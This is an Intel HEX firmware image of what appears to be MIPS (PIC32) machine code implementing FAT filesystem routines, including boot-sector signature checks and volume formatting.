:1086900005000212000000000b0002241000c2af0f
:1086a000c121400b000000001600c29301004224cb
:1086b0001600c2a31600c393080002240f00621420
:1086c000000000002c00c28f0a00401000000000d3
:1086d0001600c3931800c2872a10430005004014f7
:1086e000000000000b0002241000c2afc121400bab
:1086f00000000000c121400b000000006621400b7b
:10870000000000009c00c28f280043802a00022441
:1087100087006210000000001000c28f8400401427
:10872000000000002c00c28f1d004010000000005f
:108730009c00c28f28004380200002240b0062149a
:10874000000000003000c38f010002240500621405
:10875000000000000b0002241000c2af4d22400bad
:10876000000000004d22400b000000003000c28fce
:1087700005004014000000000b0002241000c2afee
:108780004d22400b000000001800c2970200422456
:10879000ffff42301800c2a7ea21400b0000000092
:1087a000080002241800c2a7080002241600c2a371
:1087b0002c00c28f13004010000000001800c38777
:1087c00000a0023c4018030044064224211062002d
:1087d000000042940001422c0600401000000000fe
:1087e0001800c3871c00c2872a10430005004010f0
:1087f000000000000b0002241000c2af4c22400b0e
:10880000000000001600c2939c00c38f211062007c
:10881000200042801500c2a32c00c28f0d00401022
:10882000000000001800c287010043241800c3a7fd
:108830002118400000a0023c4018030044064224d6
:1088400021106200000042941400c2a31c22400bbd
:10885000000000001800c287010043241800c3a7cd
:108860003c00c38f21106200000042901400c2a39c
:108870001500c3932a0002240300621400000000c4
:108880004c22400b000000001500c3933f0002245f
:1088900010006210000000001400c293212040006c
:1088a000ef58410f00000000218040001500c293e6
:1088b00021204000ef58410f000000000500021287
:1088c000000000000b0002241000c2af4c22400b3d
:1088d000000000001600c293010042241600c2a34b
:1088e0001600c3930b0002240f0062140000000066
:1088f0002c00c28f0a004010000000001800c3873f
:108900001c00c2872a10430005004014000000002c
:108910000b0002241000c2af4c22400b00000000ec
:108920004c22400b00000000ec21400b0000000036
:10893000000000001000c28f47004014000000003b
:108940002c00c28f05004010000000004c00c297b0
:1089500001004224ffff42304c00c2a74c00c22756
:108960009800c48f212840008038400f000000008c
:108970004800c2a32c00c28f050040100000000078
:108980004c00c297ffff4224ffff42304c00c2a7b9
:108990009800c28f3a0042944a00c2a74a00c29788
:1089a0003f0042304a00c2a7a400c2930600401014
:1089b00000000000010003240d004310000000002f
:1089c0009622400b000000004a00c39708000224d2
:1089d00005006214000000000b0002241000c2af6a
:1089e0008f22400b000000008f22400b000000008f
:1089f0004a00c3974600c29724106200ffff42302e
:108a000003004010000000000b0002241000c2af61
:108a10002c00c28f06004010000000002000c39709
:108a20009800c28f340043a48e22400b0000000047
:108a30009800c28f340040a4000000009622400b32
:108a4000000000002400c0afa000c2930200401448
:108a5000000000001000c0af4c00c297010042248b
:108a6000ffff42304c00c2a74a1c400b0000000030
:108a70004a1c400b000000001000c28f21e8c00318
:108a80009400bf8f9000be8f8c00b08f9800bd27e0
:108a90000800e00300000000d8ffbd272400bfaf9e
:108aa0002000beaf21f0a0032800c4af2c00c5af4a
:108ab0002110c0003000c2a31000c0af2800c28f38
:108ac0000000428c1400c2af1400c28f25004290f7
:108ad0000500401400000000070002241000c2af8f
:108ae0004023400b000000002800c28f3c00438c54
:108af0002800c28f400043ac2c00c28f000042947b
:108b00000c004014000000002800c48f2c00c58f0a
:108b100001000624e72f400f00000000130040145e
:108b2000000000001b0002241000c2afdb22400b3b
:108b3000000000002c00c28f000042940f00423061
:108b40000a004010000000002800c48f2c00c58fd0
:108b500001000624e72f400f00000000030040142e
:108b6000000000001b0002241000c2af2800c48fc8
:108b70002c00c58f8038400f000000001800c2a3f1
:108b80001800c29305004010000000000b000224f2
:108b90001000c2af4023400b000000002800c28f2d
:108ba000100040ac2800c28f0400438c2800c28f04
:108bb000080043ac2800c28f0c0040a42800c28fdc
:108bc0000e0040a41800c3930100022405006214a3
:108bd000000000000b0002241000c2af2023400b55
:108be000000000002800c28f0800428c1400c48fcf
:108bf000212840006d3f400f000000001c00c2af64
:108c00004480829308004010000000003241400f71
:108c100000000000040040100000000009000224d1
:108c20004123400b000000002800c28f408082af2b
:108c30000880838f1c00c28f1100621000000000aa
:108c4000468080a31400c28f030043882120600067
:108c500000004498211080001c00c48f212840008f
:108c6000e5d5400f000000000300401400000000a4
:108c7000080002241000c2af1c00c28f088082af1f
:108c80002800c38f180062908410027c180062a034
:108c90003000c3837700022405006210000000004a
:108ca0003000c383610002240c0062140000000045
:108cb0002800c38f18006290010004240400827c05
:108cc000180062a02800c38f180062904408027c3c
:108cd000180062a04023400b000000002800c38f52
:108ce000180062900400027c180062a02800c38f64
:108cf00018006290010004244408827c180062a0dd
:108d00001000c28f21e8c0032400bf8f2000be8f57
:108d10002800bd270800e00300000000d0ffbd27a9
:108d20002c00bfaf2800beaf21f0a0033000c4afbd
:108d30003400c5af1800c0a33000c28f0000428cc1
:108d40001c00c2af1c00c28f24004290010003240b
:108d50000c00431000000000030003240f00431424
:108d600000000000ff0f023cf8ff42341400c2afc5
:108d7000ff0f023cffff42341000c2af6c23400bd8
:108d800000000000f80f02241400c2afffff0234fd
:108d90001000c2af6c23400b00000000f8ff02344b
:108da0001400c2afffff02341000c2af0000000089
:108db0003000c28f0800428c2000c2af1c00c48f5c
:108dc0002000c58f8f49400f000000002400c2af73
:108dd0002400c38f1000c28f050062140000000041
:108de000080002241800c2a38f23400b00000000db
:108df0001c00c28f1900438821206000160044988f
:108e000021108000020043242400c28f2b10430055
:108e100003004014000000000a0002241800c2a34e
:108e20002400c38f1400c28f2b1062000300401473
:108e3000000000003c0002241800c2a33000c28fd2
:108e40002400c38f080043ac3400c28fffff4224cc
:108e50003400c2af3400c28f040040100000000094
:108e60001800c293d2ff4010000000001800c29307
:108e700021e8c0032c00bf8f2800be8f3000bd2723
:108e80000800e00300000000e0ffbd271c00bfafaa
:108e90001800beaf21f0a0032000c4af1000c0a393
:108ea0002000c28f250040a02000c28f00a0033cfc
:108eb00000046324030043a8000043b8c1d9400f55
:108ec000000000001400c2af1400c28f00004290e6
:108ed0000700401000000000060002241000c2a39a
:108ee00006000224348182a3e523400b0000000029
:108ef0001400c28f0000429400014230ffff423054
:108f000013004010000000001400c28f02004294c1
:108f1000211840002000c28f1d0043a81a0043b84a
:108f20001400c28f020042940102422c0800401437
:108f300000000000210002241000c2a3210002242e
:108f4000348182a31000c293e623400b000000008e
:108f50002000c48fec23400f000000001000c2a3cb
:108f60001000c2930b004014000000002000c48fca
:108f70000e25400f000000001000c2a31000c29395
:108f800004004014000000002000c28f01000324f0
:108f9000250043a01000c29321e8c0031c00bf8f2e
:108fa0001800be8f2000bd270800e003000000006d
:108fb000d0ffbd272c00bfaf2800beaf21f0a0031b
:108fc0003000c4af1000c0a33000c28f030043883c
:108fd0002120600000004498211080002120000022
:108fe00021284000e5d5400f000000002118400076
:108ff00001000224070062100000000008000224a3
:109000001000c2a308000224348182a30725400b6c
:10901000000000003000c28f030043882120600060
:1090200000004498211080001800c2af1800c28fc1
:10903000fe014390550002249a00621400000000d3
:109040001800c28fff014390aa0002249500621409
:10905000000000003000c28f030043882120600020
:109060000000449821108000212040003600052493
:10907000183f400f00000000211840004600022465
:109080003e006214000000003000c28f03004388dd
:109090002120600000004498211080002120400021
:1090a00037000524183f400f000000002118400041
:1090b0004100022431006214000000003000c28f21
:1090c00003004388212060000000449821108000a4
:1090d0002120400038000524183f400f0000000008
:1090e00021184000540002242400621400000000f3
:1090f0003000c28f030043882120600000004498a4
:10910000211080002120400039000524183f400f25
:1091100000000000211840003100022417006214f2
:10912000000000003000c28f03004388212060004f
:1091300000004498211080002120400026000524d2
:10914000183f400f000000002118400029000224b1
:109150000a006214000000003000c28f070040a81f
:10916000040040b83000c28f02000324240043a052
:10917000211000000825400b000000003000c28fc5
:1091800003004388212060000000449821108000e3
:109190002120400052000524183f400f000000002d
:1091a00021184000460002243e0062140000000026
:1091b0003000c28f030043882120600000004498e3
:1091c000211080002120400053000524183f400f4b
:1091d0000000000021184000410002243100621408
:1091e000000000003000c28f03004388212060008f
:1091f00000004498211080002120400054000524e4
:10920000183f400f000000002118400054000224c5
:1092100024006214000000003000c28f0300438865
:10922000212060000000449821108000212040008f
:1092300055000524183f400f000000002118400091
:109240003300022417006214000000003000c28fb7
:109250000300438821206000000044982110800012
:109260002120400042000524183f400f000000006c
:1092700021184000290002240a00621400000000a6
:109280003000c28f070040a8040040b83000c28ff1
:1092900003000324240043a0211000000825400bf4
:1092a000000000003000c28f0300438821206000ce
:1092b00000004498211080001c00c2af1c00c28f27
:1092c000fe014390550002240600621400000000d5
:1092d0001c00c28fff014390aa0002240700621005
:1092e0000000000004000224348182a30400022450
:1092f0001000c2a30725400b000000001c00c28f15
:10930000be0142241400c2af1100c0a3ff24400bd1
:10931000000000001400c28f0b004388080043982f
:109320003000c28f070043a8040043b81400c28f66
:10933000040042902000c2a32000c2930f00432cdf
:10934000280060100000000080180200019d023c0f
:1093500064934224211062000000428c0800400007
:1093600000000000e493009da093009de493009d05
:10937000e493009db493009de493009db493009dfd
:10938000e493009de493009de493009de493009d8d
:10939000cc93009dcc93009de493009db493009ddd
:1093a0003000c28f01000324240043a0f924400ba5
:1093b000000000003000c28f02000324240043a0fc
:1093c0001000c2930825400b000000003000c28f3f
:1093d00003000324240043a01000c2930825400b7f
:1093e000000000001400c28f100042241400c2af1d
:1093f0001100c293010042241100c2a31100c293c4
:109400000400422cc3ff40140000000005000224a9
:10941000348182a3050002241000c2a31000c2936d
:1094200021e8c0032c00bf8f2800be8f3000bd276d
:109430000800e00300000000c8ffbd273400bfaff4
:109440003000beaf21f0a0033800c4af1400c0a3a9
:109450001800c0af1c00c0af3800c28f070043889f
:10946000040043983800c28f0300448821288000fc
:10947000000045982110a000212060002128400014
:10948000e5d5400f00000000211840000100022433
:109490000500621000000000080002241400c2a3ae
:1094a000f626400b000000003800c28f03004388fe
:1094b00021306000000046982110c0002000c2af9b
:1094c0002000c28ffe014390550002240600621462
:1094d000000000002000c28fff014390aa00022478
:1094e0000500621000000000030002241400c2a363
:1094f0005226400b000000003800c28f0300438852
:1095000021206000000044982110800021204000ac
:109510000e000524273f400f000000002400c2a7d2
:109520003800c28f0300438821286000000045985e
:109530002110a000212040000d000524183f400ffd
:1095400000000000211840003800c28f230043a013
:109550003800c28f07004388040043982400c29754
:10956000211862003800c28f0b0043a8080043b8de
:109570003800c28f03004388213060000000469805
:109580002110c0002120400010000524183f400f8a
:1095900000000000211840003800c28f220043a0c4
:1095a0003800c28f030043882120600000004498e7
:1095b000211080002120400016000524273f400f85
:1095c00000000000211840003800c28f210043a88d
:1095d0001e0043b83800c28f210043882128600054
:1095e0001e0045982110a0000e004014000000004d
:1095f0003800c28f03004388213060000000469885
:109600002110c0002120400024000524483f400fc5
:1096100000000000211840003800c28f210043a83c
:109620001e0043b83800c28f0b00438808004398df
:109630003800c28f22004290212040003800c28fa3
:10964000210045882130a0001e0046982110c0004e
:109650001800820012100000211862003800c28f2a
:109660000f0043a80c0043b83800c28f03004388a2
:10967000212060000000449821108000212040003b
:1096800011000524273f400f000000002118400072
:109690003800c28fff006430140045900000a530f0
:1096a0002520a400140044a0021a0300ffff633029
:1096b000150044900000843025188300150043a055
:1096c0003800c28f030043882128600000004598bd
:1096d0002110a0002120400013000524273f400f47
:1096e000000000001000c2af1000c28f0b00401439
:1096f000000000003800c28f030043882130600062
:10970000000046982110c0002120400020000524c0
:10971000483f400f000000001000c2af3800c28f69
:10972000030043882120600000004498211080003d
:10973000212040000b000524273f400f00000000bf
:109740002600c2a72600c2970500401000000000b6
:109750002600c297010042300500401000000000c2
:10976000210002241400c2a35226400b0000000076
:109770003800c28f1400439015004290001202007e
:1097800025104300ffff4230401902002600c29717
:10979000ffff4224211862002600c2971a006200cf
:1097a000f401400010100000121000002800c2afa9
:1097b0002400c3973800c28f22004290212040002d
:1097c0003800c28f210045882130a0001e00469835
:1097d0002110c00018008200121000002118620041
:1097e0002800c28f211062001000c38f2310620076
:1097f0002c00c2af3800c28f230042902c00c38fd0
:109800001b006200f401400010100000121800005c
:109810003800c28f190043a8160043b83800c28f21
:109820001900438821206000160044982110800010
:10983000f50f422c06004010000000003800c28fd7
:1098400001000324240043a02326400b0000000055
:109850003800c28f1900438816004398f5ff023480
:109860002b10620006004010000000003800c28f7c
:1098700002000324240043a02326400b0000000024
:109880003800c28f03000324240043a03800c28f95
:10989000240043900300022415006214000000001d
:1098a0003800c28f030043882128600000004598db
:1098b0002110a000212040002c000524483f400f2b
:1098c00000000000248182af3800c28f0f0043885f
:1098d0000c0043982800c28f211862003800c28f04
:1098e000130043a8100043b84c26400b00000000b2
:1098f000248180af3800c28f0f0043880c0043984a
:109900003800c28f140044901500429000120200eb
:1099100025104400ffff423002110200ffff4230d9
:10992000211862003800c28f130043a8100043b80a
:109930002600c2970102422c0300401400000000e0
:10994000210002241400c2a33800c28f24004390d7
:10995000030002240e006210000000001400c293f5
:1099600099004010000000002000c28f4200439088
:109970002900022406006210000000002000c28faf
:1099800042004390280002248f006214000000006f
:109990002000c28f13004390140042900012020076
:1099a00025104300ffff42303b0040140000000040
:1099b0002000c28f340042903700401400000000a5
:1099c0002000c28f35004290330040140000000098
:1099d0002000c28f360042902f004014000000008b
:1099e0002000c28f370042902b004014000000007e
:1099f0002000c28f38004290270040140000000071
:109a00002000c28f39004290230040140000000063
:109a10002000c28f3a0042901f0040140000000056
:109a20002000c28f3b0042901b0040140000000049
:109a30002000c28f3c00429017004014000000003c
:109a40002000c28f3d00429013004014000000002f
:109a50002000c28f3e0042900f0040140000000022
:109a60002000c28f3f0042900b0040140000000015
:109a70002000c28f42004390290002240800621097
:109a8000000000002000c28f420043902800022402
:109a90000300621000000000030002241400c2a3af
:109aa0001400c29325004010000000001800c28f6f
:109ab0002200401400000000010002241800c2af80
:109ac0003800c28f07004388040043982000c28feb
:109ad00032004490330042900012020025104400ee
:109ae000ffff4230211862003800c28f0300448813
:109af00021308000000046982110c0002120600025
:109b000021284000e5d5400f00000000211840004a
:109b10000100022406006210000000000800022478
:109b2000348182a308000224fc26400b00000000c0
:109b30001400c0a3f426400b000000001400c293e0
:109b400021004010000000001c00c28f1e004014c5
:109b500000000000010002241c00c2af3800c28fc8
:109b600007004388212060000400449821108000f1
:109b7000060043243800c28f030044882128800057
:109b8000000045982110a0002120600021284000fd
:109b9000e5d5400f0000000021184000010002241c
:109ba000060062100000000008000224348182a335
:109bb00008000224fc26400b000000001400c0a393
:109bc000f426400b00000000f626400b00000000c9
:109bd0003025400b000000001400c2930300401029
:109be000000000001400c293348182a31400c293c9
:109bf00021e8c0033400bf8f3000be8f3800bd277e
:109c00000800e00300000000f0ffbd270c00beaf1d
:109c100021f0a0031000c4af0000c0af1000c28f3d
:109c2000140042940000c2af0000c28f0014020072
:109c30000000c2af1000c28f1a0042940000c38f10
:109c4000251062000000c2af0000c28f21e8c003ef
:109c50000c00be8f1000bd270800e00300000000cc
:109c6000d8ffbd272400bfaf2000beaf21f0a00366
:109c70002800c4af2c00c5af1000c0af2800c28fb1
:109c800005004010000000002c00c28f0200422c92
:109c90000400401000000000ffff02242128400bb8
:109ca000000000002c00c28fffff43242800c28f59
:109cb0002b1062000400401000000000ffff02248f
:109cc0002128400b000000004480829308004010cf
:109cd000000000003241400f00000000040040106e
:109ce00000000000ffff02242128400b00000000bc
:109cf00000a0023c000444242128000000020624a5
:109d00007152410f0000000000a0023c00044224f8
:109d10001400c2af2800c28f1800c2af1800c38f52
:109d20001505023c5b564234190062001010000019
:109d3000231862004218030021104300421302005e
:109d4000801302001000c2af1800c48f1505023c3a
:109d50005b56423419008200101000002318820064
:109d60004218030021104300421b02002110600032
:109d70008011020023104300001a02002318620021
:109d8000231083001800c2af1800c38f1004023cd8
:109d900005414234190062001010000023186200cf
:109da00042180300211043004211020080110200fa
:109db0001000c38f251062001000c2af1800c38fbf
:109dc0001004023c054142341900620010100000ea
:109dd000232062004220040021104400422102009e
:109de0002110800080110200231044002310620023
:109df0001800c2af1800c28f010042241000c38fa8
:109e0000251062001000c2af1000c28f02140200c1
:109e1000ff00433000a0023c00044224bf0143a0e5
:109e20001000c28f02120200ff00433000a0023c6b
:109e300000044224c00143a01000c28fff00433041
:109e400000a0023c00044224c10143a02c00c38fa7
:109e50002800c28f231862001400c28fcd0143a8ce
:109e6000ca0143b81400c28fcd014388212060008d
:109e7000ca014498211080003910422c060040107d
:109e8000000000001400c28f01000324c20143a09f
:109e9000b627400b000000001400c28fcd0143889c
:109ea000ca0143983f00023c60fd42342b1062001f
:109eb00006004010000000001400c28f06000324ba
:109ec000c20143a0b627400b00000000ffff0224a0
:109ed0002128400b000000001400c28f2800c38f0f
:109ee000c90143a8c60143b82800c38f2c00c28f04
:109ef00021106200ffff42241800c2af1800c38f78
:109f00001505023c5b564234190062001010000037
:109f1000231862004218030021104300421302007c
:109f2000801302001000c2af1800c48f1505023c58
:109f30005b56423419008200101000002318820082
:109f40004218030021104300421b02002110600050
:109f50008011020023104300001a0200231862003f
:109f6000231083001800c2af1800c38f1004023cf6
:109f700005414234190062001010000023186200ed
:109f80004218030021104300421102008011020018
:109f90001000c38f251062001000c2af1800c38fdd
:109fa0001004023c05414234190062001010000008
:109fb00023206200422004002110440042210200bc
:109fc0002110800080110200231044002310620041
:109fd0001800c2af1800c28f010042241000c38fc6
:109fe000251062001000c2af1000c28f02140200e0
:109ff000ff00433000a0023c00044224c30143a000
:10a000001000c28f02120200ff00433000a0023c89
:10a0100000044224c40143a01000c28fff0043305b
:10a0200000a0023c00044224c50143a01400c28fda
:10a03000be0140a01400c28f55000324fe0143a0be
:10a040001400c28faaff0324ff0143a021200000b7
:10a0500000a0023c00044524010006249ad8400fc9
:10a0600000000000211840000100022404006210da
:10a0700000000000ffff02242128400b0000000028
:10a080002110000021e8c0032400bf8f2000be8ff4
:10a090002800bd270800e0030000000090ffbd2756
:10a0a0006c00bfaf6800beaf21f0a003211080009c
:10a0b0007400c5af7800c6af7000c2a33c00c227d1
:10a0c0002400c2af348180a3468080a33c8080a35b
:10a0d000ffff0224048082afffff0224088082afca
:10a0e0002400c28f00a0033c00046324030043a8a3
:10a0f000000043b804d5400f00000000c1d9400f54
:10a10000000000002800c2af2800c28f000042906b
:10a11000060040100000000006000224348182a3e3
:10a12000ffff0224122f400b00000000212000003e
:10a1300000a0023c00044524e5d5400f00000000cb
:10a1400006004014000000001b000224348182a39a
:10a15000ffff0224122f400b000000002400c28fda
:10a1600003004388212060000000449821108000f3
:10a170002c00c2af2c00c28ffe0143905500022478
:10a1800071006214000000002c00c28fff01439098
:10a19000aa0002246c006214000000002400c28f98
:10a1a0000300438821286000000045982110a0008a
:10a1b0002120400036000524183f400f0000000019
:10a1c00021184000460002245400621400000000e0
:10a1d0002400c28f030043882130600000004698ad
:10a1e0002110c0002120400037000524183f400ff7
:10a1f00000000000211840004100022447006214c2
:10a20000000000002400c28f03004388212060006a
:10a2100000004498211080002120400038000524cf
:10a22000183f400f00000000211840005400022495
:10a230003a006214000000002400c28f030043882b
:10a2400021286000000045982110a0002120400036
:10a2500039000524183f400f00000000211840007d
:10a26000310002242d006214000000002400c28f7f
:10a270000300438821306000000046982110c00090
:10a280002120400026000524183f400f0000000058
:10a290002118400029000224200062140000000060
:10a2a0001000c0af7000c2830b004010000000001f
:10a2b000010003240300431000000000c328400bea
:10a2c000000000001f000224348182a3ffff02244b
:10a2d000122f400b000000002400c28f070040a88e
:10a2e000040040b82400c48f0e25400f0000000079
:10a2f00006004010000000001b000224348182a3ed
:10a30000ffff0224122f400b00000000000000009d
:10a3100000000000d728400b0000000000a0023c15
:10a32000000442241000c2af1000c28fc90143884c
:10a33000c60143982400c28f070043a8040043b815
:10a34000d728400b0000000004000224348182a3bf
:10a35000ffff0224122f400b000000007000c28398
:10a360000204401000000000010003240b04431409
:10a37000000000001000c28fcd0143882120600042
:10a38000ca014498211080003000c2af3000c28f53
:10a390003910422c59004010000000002400c28fe8
:10a3a00001000324240043a01000c28f01000324f5
:10a3b000c20143a02120000000a0023c000445246b
:10a3c000010006249ad8400f000000000600401447
:10a3d0000000000009000224348182a3ffff022450
:10a3e000122f400b000000003000c28f2810422cba
:10a3f00006004014000000002400c28f0200032465
:10a40000230043a00629400b000000002400c28f57
:10a4100001000324230043a000a0023c00044424c4
:10a4200021280000000206247152410f00000000a4
:10a4300000a0023c00044224320003243a0043a05e
:10a440002400c28f230042904010020021184000d7
:10a450003000c28f21106200dfff42241c00c2af17
:10a460002400c28f23004290211840002110600078
:10a470008010020080200200211044000021020010
:10a480002110440021104300020042243400c2afd6
:10a490003400c38f1c00c28f21106200ffff4324d1
:10a4a0003400c28f1b006200f40140001010000055
:10a4b000122800001c00c5af2400c28f0200032434
:10a4c000220043a02400c28f140043900000633098
:10a4d000140043a015004390000063300200633471
:10a4e000150043a02400c28f1c00c38f210043a885
:10a4f0001e0043b8042a400b000000003000c38f48
:10a500003f00023c60fd42342b10620066004010a8
:10a51000000000002400c28f02000324240043a096
:10a520001000c28f06000324c20143a021200000b6
:10a5300000a0023c00044524010006249ad8400fe4
:10a540000000000006004014000000000900022482
:10a55000348182a3ffff0224122f400b0000000071
:10a560003000c28fe8fd42241400c2af2400c28f25
:10a5700001000324230043a06929400b00000000d0
:10a580002400c28f2300429040100200ff0043309d
:10a590002400c28f230043a01400c28f4210020087
:10a5a0001400c2af1400c38feeff02342b10620000
:10a5b000f3ff4010000000002400c28f23004290ef
:10a5c0008100422c06004014000000000400022418
:10a5d000348182a3ffff0224122f400b00000000f1
:10a5e00000a0023c000444242128000000020624ac
:10a5f0007152410f0000000000a0023c0004422400
:10a60000360003243a0043a02400c28f2300429066
:10a6100040100200211840003000c28f211062005b
:10a62000dfff42241c00c2af2400c28f23004290ef
:10a6300000120200020042243400c2af3400c38f73
:10a640001c00c28f21106200ffff43243400c28f20
:10a650001b006200f40140001010000012300000e6
:10a660001c00c6af2400c28f02000324220043a0b6
:10a670002400c28f1400439000006330140043a0f4
:10a68000150043900000633002006334150043a0be
:10a690002400c28f1c00c38f210043a81e0043b8b2
:10a6a000042a400b000000002400c28f0300032492
:10a6b000240043a01000c28f0b000324c20143a05a
:10a6c0002120000000a0023c0004452401000624d3
:10a6d0009ad8400f0000000006004014000000005f
:10a6e00009000224348182a3ffff0224122f400bb1
:10a6f000000000003000c28f1400c2af2400c28fdf
:10a7000001000324230043a0cd29400b00000000da
:10a710002400c28f2300429040100200ff0043300b
:10a720002400c28f230043a01400c28f42100200f5
:10a730001400c2af1400c38f3f00023cffbf42347d
:10a740002b106200f2ff4010000000002400c28fb6
:10a75000230042908100422c0600401400000000bb
:10a7600004000224348182a3ffff0224122f400b35
:10a770000000000000a0023c000444242128000046
:10a78000000206247152410f000000003000c28f09
:10a79000e0ff42241c00c2af2400c28f230042907d
:10a7a000c0110200010042243400c2af3400c38f44
:10a7b0001c00c28f21106200ffff43243400c28faf
:10a7c0001b006200f4014000101000001210000095
:10a7d0001c00c2af2400c28f02000324220043a049
:10a7e0002400c28f1400439000006330140043a083
:10a7f000150043900000633002006334150043a04d
:10a800002400c28f1c00c38f210043a81e0043b840
:10a8100000a0023cebff0324000443a000a0023c84
:10a82000000442243c000324010043a000a0023c99
:10a830000004422490ff0324020043a000a0023c35
:10a84000000442244d000324030043a000a0023c66
:10a850000004422443000324040043a000a0023c5f
:10a860000004422448000324050043a000a0023c49
:10a870000004422450000324060043a000a0023c30
:10a880000004422420000324070043a000a0023c4f
:10a890000004422446000324080043a000a0023c18
:10a8a0000004422441000324090043a000a0023c0c
:10a8b00000044224540003240a0043a000a0023ce8
:10a8c000000442240b0040a000a0023c00044224eb
:10a8d000020003240c0043a02400c28f23004390f5
:10a8e00000a0023c000442240d0043a02400c28fbb
:10a8f00024004390010002240600621000000000c2
:10a900002400c28f24004390020002240701621435
:10a910000000000000a0023c0004422408000324c0
:10a920000e0043a000a0023c000442240f0040a0ff
:10a930002400c28f0700438821206000040044984f
:10a9400021108000080043242400c28f0b0043a87c
:10a95000080043b800a0023c000442240200032483
:10a96000100043a000a0023c00044224110040a0bb
:10a9700000a0023c0004422402000324120043a071
:10a9800000a0023c00044224130040a000a0023cae
:10a9900000044224140040a000a0023c0004422411
:10a9a000f8ff0324150043a01c00c28fff004330b2
:10a9b00000a0023c00044224160043a01c00c28fe9
:10a9c00002120200ff00433000a0023c00044224b7
:10a9d000170043a000a0023c000442243f000324cf
:10a9e000180043a000a0023c00044224190040a02b
:10a9f00000a0023c00044224ffff03241a0043a0ed
:10aa000000a0023c000442241b0040a02400c28f8e
:10aa10000700438821286000040045982110a00009
:10aa2000ff00433000a0023c000442241c0043a06d
:10aa30002400c28f0700438821306000040046983c
:10aa40002110c00002120200ff00433000a0023caf
:10aa5000000442241d0043a02400c28f0700438845
:10aa6000212060000400449821108000021402009c
:10aa7000ff00433000a0023c000442241e0043a01b
:10aa80002400c28f070043882128600004004598f5
:10aa90002110a00002160200ff00433000a0023c7b
:10aaa000000442241f0043a03000c28fff00433047
:10aab00000a0023c00044224200043a03000c28fca
:10aac00002120200ff00433000a0023c00044224b6
:10aad000210043a03000c28f02140200ff00433067
:10aae00000a0023c00044224220043a03000c28f98
:10aaf00002160200ff00433000a0023c0004422482
:10ab0000230043a000a0023c00044224240040a0f3
:10ab100000a0023c00044224250040a000a0023c0a
:10ab20000004422429000324260043a07400c28f9d
:10ab3000ff00433000a0023c00044224270043a051
:10ab40007400c28fff004324000044280b106400ef
:10ab500003120200ff00433000a0023c0004422424
:10ab6000280043a07400c28fffff03342118430064
:10ab7000000044280b10640003140200ff0043305f
:10ab800000a0023c00044224290043a07400c28fac
:10ab9000ff00033cffff63342118430000004428fa
:10aba0000b10640003160200ff00433000a0023cbb
:10abb000000442242a0043a07800c28f2d004010d8
:10abc000000000002000c0af022b400b000000007e
:10abd0002000c28f2b0044247800c38f2000c28f36
:10abe0002110620000004280ff00433000a0023cc0
:10abf0000004422421108200000043a02000c28fe4
:10ac0000010042242000c2af7800c38f2000c28f11
:10ac1000211062000000428005004010000000008a
:10ac20002000c28f0b00422ce9ff401400000000fe
:10ac3000172b400b000000002000c28f01004324ae
:10ac40002000c3af2b00432400a0023c0004422498
:10ac50002110620020000324000043a02000c28fc6
:10ac60000b00422cf4ff4014000000002d2b400b81
:10ac7000000000002000c0af292b400b00000000a6
:10ac80002000c28f2b00432400a0023c0004422479
:10ac900021106200000040a02000c28f0100422469
:10aca0002000c2af2000c28f0b00422cf4ff4014e2
:10acb0000000000000a0023c0004422446000324df
:10acc000360043a000a0023c0004422441000324bb
:10acd000370043a000a0023c000442245400032497
:10ace000380043a000a0023c0004422431000324a9
:10acf000390043a000a0023c0004422420000324a9
:10ad00003b0043a000a0023c000442242000032496
:10ad10003c0043a000a0023c000442242000032485
:10ad20003d0043a0ae2c400b0000000000a0023c00
:10ad300000044224200003240e0043a000a0023c93
:10ad4000000442240f0040a02400c28f0700438863
:10ad500021306000040046982110c00020004324e8
:10ad60002400c28f0b0043a8080043b800a0023c97
:10ad70000004422402000324100043a000a0023c6f
:10ad800000044224110040a000a0023c0004422420
:10ad9000120040a000a0023c00044224130040a086
:10ada00000a0023c00044224140040a000a0023c89
:10adb00000044224f8ff0324150043a000a0023c35
:10adc00000044224160040a000a0023c00044224db
:10add000170040a000a0023c000442243f000324ce
:10ade000180043a000a0023c00044224190040a027
:10adf00000a0023c00044224ffff03241a0043a0e9
:10ae000000a0023c000442241b0040a02400c28f8a
:10ae1000070043882120600004004498211080002e
:10ae2000ff00433000a0023c000442241c0043a069
:10ae30002400c28f07004388212860000400459841
:10ae40002110a00002120200ff00433000a0023ccb
:10ae5000000442241d0043a02400c28f0700438841
:10ae600021306000040046982110c0000214020046
:10ae7000ff00433000a0023c000442241e0043a017
:10ae80002400c28f070043882120600004004498fa
:10ae90002110800002160200ff00433000a0023c97
:10aea000000442241f0043a03000c28fff00433043
:10aeb00000a0023c00044224200043a03000c28fc6
:10aec00002120200ff00433000a0023c00044224b2
:10aed000210043a03000c28f02140200ff00433063
:10aee00000a0023c00044224220043a03000c28f94
:10aef00002160200ff00433000a0023c000442247e
:10af0000230043a01c00c28fff00433000a0023c7e
:10af100000044224240043a01c00c28f021202003d
:10af2000ff00433000a0023c00044224250043a05f
:10af30001c00c28f02140200ff00433000a0023c3c
:10af400000044224260043a01c00c28f0216020007
:10af5000ff00433000a0023c00044224270043a02d
:10af600000a0023c00044224280040a000a0023cb3
:10af700000044224290040a000a0023c0004422416
:10af80002a0040a000a0023c000442242b0040a064
:10af900000a0023c00044224020003242c0043a031
:10afa00000a0023c000442242d0040a000a0023c6e
:10afb000000442242e0040a000a0023c00044224d1
:10afc0002f0040a000a0023c000442240100032402
:10afd000300043a000a0023c00044224310040a005
:10afe00000a0023c00044224320040a000a0023c29
:10aff00000044224330040a000a0023c000442248c
:10b00000340040a000a0023c00044224350040a0cf
:10b0100000a0023c00044224360040a000a0023cf4
:10b0200000044224370040a000a0023c0004422457
:10b03000380040a000a0023c00044224390040a097
:10b0400000a0023c000442243a0040a000a0023cc0
:10b05000000442243b0040a000a0023c0004422423
:10b060003c0040a000a0023c000442243d0040a05f
:10b0700000a0023c000442243e0040a000a0023c8c
:10b08000000442243f0040a000a0023c00044224ef
:10b09000400040a000a0023c00044224410040a027
:10b0a00000a0023c0004422429000324420043a0e3
:10b0b0007400c28fff00433000a0023c0004422411
:10b0c000430043a07400c28fff00432400004428c3
:10b0d0000b10640003120200ff00433000a0023c8a
:10b0e00000044224440043a07400c28fffff0334d5
:10b0f00021184300000044280b10640003140200d0
:10b10000ff00433000a0023c00044224450043a05d
:10b110007400c28fff00033cffff6334211843001b
:10b12000000044280b10640003160200ff004330a7
:10b1300000a0023c00044224460043a07800c28fd5
:10b140002d004010000000002000c0af632c400b19
:10b15000000000002000c28f470044247800c38f05
:10b160002000c28f2110620000004280ff004330a7
